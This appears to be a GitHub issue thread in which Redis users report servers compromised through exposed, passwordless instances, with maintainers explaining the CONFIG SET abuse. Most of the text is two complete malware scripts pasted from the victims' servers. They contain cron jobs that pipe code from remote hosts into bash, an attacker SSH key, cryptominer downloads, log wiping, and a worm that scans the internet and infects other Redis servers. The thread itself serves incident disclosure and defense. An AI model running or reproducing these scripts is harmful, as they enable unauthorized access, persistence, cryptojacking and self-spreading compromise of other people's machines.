Hi,
After leaving Redis server without a password exposed to the Internet and installed on an AWS EC2 instance, I discovered 2 strange looking string values implemented on my server with the keys "trojan1" and "trojan2", and their values were a curl command, piped into a "bash" :
(Yes I know I shouldn't have a Redis server exposed without password or exposed at all, it had no important data on it and the machine was just for testing)
From the script that has been downloaded, I guess that my server was hacked and began mining cryptocurrencies.
I don't know how the intruder ran the script and whether this is this a normal behaviour for Redis.
It is possible to run a command stored in a string value in Redis remotely ? Is it by design or a vulnerabilty ?
This is the script they ran :
#!/bin/bash
ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
rm -rf /var/lib/apt/lists/*
apt-get update
apt-get install wget -y
apt-get install libcurl4-openssl-dev -y
apt-get install python-pip -y
apt-get install ca-certificates -y
apt-get install redis-tools -y
apt-get install python gcc -y
apt-get install python-setuptools python-dev build-essential -y --allow-unauthenticated
yum -y install epel-release
yum -y install wget gcc redis git python-pip ca-certificates
echo "0 * * * * curl -fsSL http://185.10.68.202:5050/mrx1 | bash" > /var/spool/cron/root
echo "0 * * * * wget -q -O- http://185.10.68.202:5050/mrx1 | bash" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
mkdir -p /root/.ssh/
echo "0 * * * * curl -fsSL http://185.10.68.202:5050/mrx1 | bash" > /var/spool/cron/crontabs/root
echo "0 * * * * wget -q -O- http://185.10.68.202:5050/mrx1 | bash" >> /var/spool/cron/crontabs/root
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV1VxPVZFUOOWZwMFVBwP/904lhAZNj2U5DPsZyIWw33jHeFRElM++XnUYmkMDiu8KuJXnFDJMkyXxsq77fOpDhVGOoexll3+P6SmZWViWwnhOgvxhccgT72J+LPZEIwPqPZQVHR4ksdVSnMVreyZs+rQ7O+L2xychpqzeIrk4Q/08f5XreOnq4Rgxp9oKwSlf7vKmQ7tUWUxfMHHL1wQYZPmdKpgSi/JmokLpp5cKAT7r0gGOj1jV8ZAJc+z45Ts2JBH9JYscHBssh7MBWWymcjXANd9a6XaQnbnl6nOFFNyYm8dBuLkGpEUNCdMq/jc5YLfnAnbGVbBMhuWzaWUp root@host-10-10-10-26" >> /root/.ssh/authorized_keys
PS3=$(iptables -L | grep 6379 | wc -l)
if [ $PS3 -eq 0 ];
then
yum -y install iptables-services
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
service iptables save
/etc/init.d/iptables-persistent save
fi
echo "" > /var/log/wtmp
echo "" > /var/log/secure
history -c
if [ ! -f "/tmp/kworkers" ];then
wget https://transfer.sh/oyIYQ/clay --no-check-certificate -O /tmp/clay && chmod +x /tmp/clay
wget https://transfer.sh/mSEiP/nodexx --no-check-certificate -O /tmp/kworkers && chmod 777 /tmp/kworkers
curl -sk https://transfer.sh/mSEiP/nodexx -o /tmp/kworkers && chmod 777 /tmp/kworkers
fi
cd /tmp
PS1=$(ps aux | grep clay | grep -v "grep" | wc -l)
if [ $PS1 -eq 0 ];
then
/tmp/clay &
fi
PS2=$(ps aux | grep kworkers | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
/tmp/kworkers -a cryptonight -o stratum+tcp://pool.zer0day.ru:8080 -u LinuxServer -p LinuxServer --safe -B
fi
if [[ $? -ne 0 && $PS2 -eq 0 ]];
then
wget https://transfer.sh/13qqfS/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C / && export LD_LIBRARY_PATH=/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/kworkers -a cryptonight -o stratum+tcp://pool.zer0day.ru:8080 -u LinuxServer -p LinuxServer --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c
fi
if [ $PS3 -eq 0 ];
then
yum -y install iptables-services
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
service iptables save
/etc/init.d/iptables-persistent save
fi
Comment From: cuongn265
I got same problem
127.0.0.1:6379> MGET Backup3
1) "\t\n*/10 * * * * lynx -source https://transfer.sh/g0iaI/tmp.V7BopsT6uw > .cmd && bash .cmd\n\t"
It points to this file:
sleep 1
find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete
[ -f .mxff0 ] && exit 0
echo 0 > .mxff0
trap "rm -rf .m* .cmd tmp.* .r .dat $0" EXIT
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
crontab -r 2>/dev/null
rm -rf /var/spool/cron 2>/dev/null
grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
rm -rf /etc/root.sh 2>/dev/null
sync && echo 3 > /proc/sys/vm/drop_caches
cat <<EOF> /etc/security/limits.conf
* hard nofile 100000
* soft nofile 100000
root hard nofile 100000
root soft nofile 100000
* hard nproc 100000
* soft nproc 100000
root hard nproc 100000
root soft nproc 100000
EOF
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
YUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"
DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl"
if cat /etc/*release | grep -i CentOS; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Red; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Fedora; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Ubuntu; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update -q --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Debian; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Mint; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Knoppix; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
else
exit 1
fi
sleep 1
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi
tname=$( mktemp )
OMURL=https://transfer.sh/uHajD/tmp.gQMhrWzHtq
curl -s $OMURL > $tname || wget -q -O $tname $OMURL
NMURL=$( curl -s --upload-file $tname https://transfer.sh )
mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
[ -z "$NMURL" ] && NMURL=$OMURL
ncmd=$(basename $(mktemp))
sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd
NSURL=$( curl -s --upload-file $ncmd https://transfer.sh )
echo 'flushall' > .dat
echo 'config set dir /var/spool/cron' >> .dat
echo 'config set dbfilename root' >> .dat
echo 'set Backup1 "\t\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'set Backup2 "\t\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat
echo 'set Backup3 "\t\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat
echo 'save' >> .dat
echo 'config set dir /var/spool/cron/crontabs' >> .dat
echo 'save' >> .dat
echo 'exit' >> .dat
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .r.$x.$y.o
awk '/Linux/ {print $1, $3}' .r.$x.$y.o > .r.$x.$y.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
done < .r.$x.$y.l
done
done
echo 0 > /var/spool/mail/root 2>/dev/null
echo 0 > /var/log/wtmp 2>/dev/null
echo 0 > /var/log/secure 2>/dev/null
echo 0 > /root/.bash_history 2>/dev/null
exit 0
and I also don't know how can they run the script inside a redis key. Does this is a normal behaviour of redis?
Comment From: rgilkey
This is a symptom of your Redis configuration being abused. There are configuration changes you can make to prevent this abuse.
Some corrective actions include disabling/renaming the CONFIG command in Redis, restricting access to your Redis instance, and perhaps use of the AUTH command.
The full list of security best practices are listed here https://redis.io/topics/security.
Comment From: f0r34chb3t4
umm
Comment From: yoav-steinberg
Using some CONFIG SET commands it is possible for an attacker of a compromised redis to write stuff to the disk. If these commands weren't disabled and the redis process was run with sufficient privileges an attacker can write to your cron table or bashrc files, for example, and gain complete access to the machine.
I'm closing this as this is a common and simple case of unsafe configuration leading to a compromised machine.